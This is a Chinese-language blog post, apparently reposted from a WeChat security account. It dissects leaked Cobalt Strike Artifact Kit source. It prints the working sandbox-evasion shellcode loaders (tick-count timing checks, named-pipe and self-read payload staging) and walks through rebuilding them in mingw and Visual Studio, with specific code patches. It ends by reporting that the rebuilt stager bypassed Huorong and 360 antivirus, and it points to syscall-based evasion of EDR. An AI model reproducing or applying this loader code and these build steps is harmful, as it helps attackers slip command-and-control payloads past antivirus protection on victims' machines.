前段时间从vt下载到了一份源码,据说是cs的beacon源码,但研究以后发现实际上是泄露的Artifact Kit组件的源码。虽然当前Cobalt Strike使用Artifact Kit生成的Artifact几乎被所有主流杀软查杀,但是可以从通过分析源码中,我们可以学到Cobalt Strike生成artifact的原理和一些免杀思路。
Artifact Kit 介绍
Artifact Kit 是Cobalt Strike使用的免杀组件,Artifact Kit 是一个制作免杀 EXE、DLL 和 Service EXE 的源代码框架,平时直接在Cobalt Strike中生成的stager都是使用了Artifact Kit生成的。其中一种技术[参见:Artifact Kit 中的 src-common/bypass-pipe.c]生成可执行文件和 DLL,它们通过命名管道为自己提供 shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意 shellcode。
Cobalt Strike在以下地方使用Artifact Kit:
-
Attacks -> Packages -> Windows Executable -
Attacks -> Packages -> Windows Executable (S) -
Attacks -> Web Drive-by -> Scripted Web Delivery (bitsadmin and exe) -
Beacon's 'elevate svc-exe' command -
Beacon's 'jump psexec' and 'jump psexec64' commands
Artifact Kit 文件功能
在 Cobalt Strike 的 Help --> Arsenal 处可下载 Artifact Kit。但是需要License Key才能下载,正好手里有从vt上泄露的源码,首先看下目录:
-
src-common:目录下存放着Artifact Kit的源码。 -
src-main:存放着编译dll用的源码。 -
README.txt:里面是介绍和使用方法。 -
build.sh:里面是交叉编译的生成二进制命令,在Linux 系统上运行此脚本,使用mingw-w64来为Windows 交叉编译器构建默认的Artifact工具集。 -
script.example:是默认的cna脚本。 -
dist-peek:存放二进制文件,对应使用GetTickCount检查时间的方式对抗沙箱。 -
dist-pipe:存放二进制文件,使用管道读取的方式对抗沙箱,Cobalt Strike默认使用这种方法生成artifact。 -
dist-readfile:存放二进制文件,打开当前文件进行读取。跳到shellcode的存储位置,读取并执行。 -
dist-template:存放二进制文件,模板文件,直接内存加载shellcode,没有使用免杀技术。
Artifact Kit 源码分析
bypass-peek.c
代码如下,可以看到代码使用了两次GetTickCount(),中间有Sleep(650),然后计算时间是否正确,主要通过这种方式来对抗沙盒的调试。
#include <windows.h>
#include <stdio.h>
#include "patch.h"
void start(HINSTANCE mhandle) {
phear * payload = (phear *)data;
char * buffer;
/* post and retrieve a message... to see if we're in an A/V sandbox or not. */
MSG msg;
DWORD tc;
PostThreadMessage(GetCurrentThreadId(), WM_USER + 2, 23, 42);
if (!PeekMessage(&msg, (HWND)-1, 0, 0, 0))
return;
if (msg.message != WM_USER+2 || msg.wParam != 23 || msg.lParam != 42)
return;
/* check timing of A/V sandbox... */
tc = GetTickCount();
Sleep(650);
if (((GetTickCount() - tc) / 300) != 2)
return;
/* copy our payload into its own buffer... necessary b/c spawn modifies it */
buffer = (char *)malloc(payload->length);
memcpy(buffer, payload->payload, payload->length);
/* execute our payload */
spawn(buffer, payload->length, payload->key);
/* clean up after ourselves */
free(buffer);
}
bypass-pipe.c
Cobalt Strike默认的生成方式,使用了命名管道读取方法,管道格式为"%c%c%c%c%c%c%c%c%cMSSE-%d-server",使用ReadFile读取shellcode然后解密加载。
void server(char * data, int length) {
DWORD wrote = 0;
HANDLE pipe = CreateNamedPipeA(pipename, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE, 1, 0, 0, 0, NULL);
if (pipe == NULL || pipe == INVALID_HANDLE_VALUE)
return;
BOOL result = ConnectNamedPipe(pipe, NULL);
if (!result)
return;
while (length > 0) {
result = WriteFile(pipe, data, length, &wrote, NULL);
if (!result)
break;
data += wrote;
length -= wrote;
}
CloseHandle(pipe);
}
BOOL client(char * buffer, int length) {
DWORD read = 0;
HANDLE pipe = CreateFileA(pipename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (pipe == INVALID_HANDLE_VALUE)
return FALSE;
while (length > 0) {
BOOL result = ReadFile(pipe, buffer, length, &read, NULL);
if (!result)
break;
buffer += read;
length -= read;
}
CloseHandle(pipe);
return TRUE;
}
bypass-readfile.c
通过打开自身读取shellcode的方式,绕过杀软。
void start(HINSTANCE mhandle) {
phear * payload = (phear *)data;
/* get the name of this file */
char * name = (char *)malloc(sizeof(char) * 2048);
GetModuleFileName(mhandle, name, sizeof(char) * 2048);
/* read in the file and seek to a particular point */
FILE * handle = fopen(name, "rb");
/* seek to the place in the file where our data begins */
fpos_t offset = (fpos_t)payload->offset;
fsetpos(handle, &offset);
/* retrieve and decode the payload 1 byte at a time. */
char * buffer = (char *)malloc(payload->length);
int read = fread((void *)buffer, sizeof(char), payload->length, handle);
fclose(handle);
/* complete the rest of the silly payload */
int x;
for (x = read; x < payload->length; x++) {
buffer[x] = payload->payload[x];
}
/* spawn our thread with the goodies */
spawn(buffer, payload->length, payload->key);
}
Artifact Kit 使用
我是在ubuntu 上做的测试,首先安装mingw-w64
sudo apt-get install mingw-w64
然后运行build.sh,等待编译完成,
把生成好的文件夹拷贝出来一份,打开 Cobalt Strike → Script Manager (脚本管理器),并从文件夹中加载 artifact.cna 脚本,以dist-peek举例:
然后生成artifact,此时artifact就是以刚才linux编译出的二进制模板和shellcode组合成的:
当然如果使用原生的Artifact Kit,肯定会被杀的很惨,我们需要在原有的代码基础上进行修改。
Artifact Kit 修改
第一种方法,README.txt里面提供了添加新方法的方式:
-
在src-common中创建一个文件,将其命名为bypass-[your technique here].c -
打开build.sh并在底部为你添加的bypass方式添加一行 -
然后用build.sh编译
这样就可以为Cobalt Strike添加新的Artifact生成方法用于绕过杀软。
另一种方法,使用VS编译的方式添加新功能,先创建一个新的项目,功能以bypass-peek.c为例,目录如下图:
这时还有些需要修改的地方,bypass-peek.c中start函数改为main函数,然后DATA_SIZE没有被定义,按照build.sh中的32-bit staged artifact生成方法,DATA_SIZE为1024,直接宏定义到patch.h里。
然后需要修改的地方是patch.c的第25,26行,遇到了Error E0852 - expression must be a pointer to a complete object type,把 set_key_pointers(void * buffer) 改为 set_key_pointers(char * buffer) 即可。
把patch.c的67行处,添加WaitForSingleObject,目的是为了让主进程等待线程执行完毕,不然程序会直接退出:
/* spawn a thread with our data */
HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run,ptr, 0, NULL);
WaitForSingleObject(handle, INFINITE);
最后去掉控制台窗口,有两种方法:
-
在代码中添加链接指示:
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
-
或者在项目属性中配置:
属性--链接器--子系统--subsystem:windows
高级--入口点--mainCRTStartup
把生成的文件和原来的artifact32.exe做替换,然后在CS中生成32-bit staged artifact
没有做任何其他功能修改,只是用VS生成的x86 artifact文件正常上线,绕过了火绒和360:
也可以配合Syswhispers 工具以系统调用的方式绕过AV/EDR检测,参考下面这篇文章:
https://br-sn.github.io/Implementing-Syscalls-In-The-CobaltStrike-Artifact-Kit/
本文始发于微信公众号(宽字节安全):从Artifact Kit 看 Cobalt Strike的免杀思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论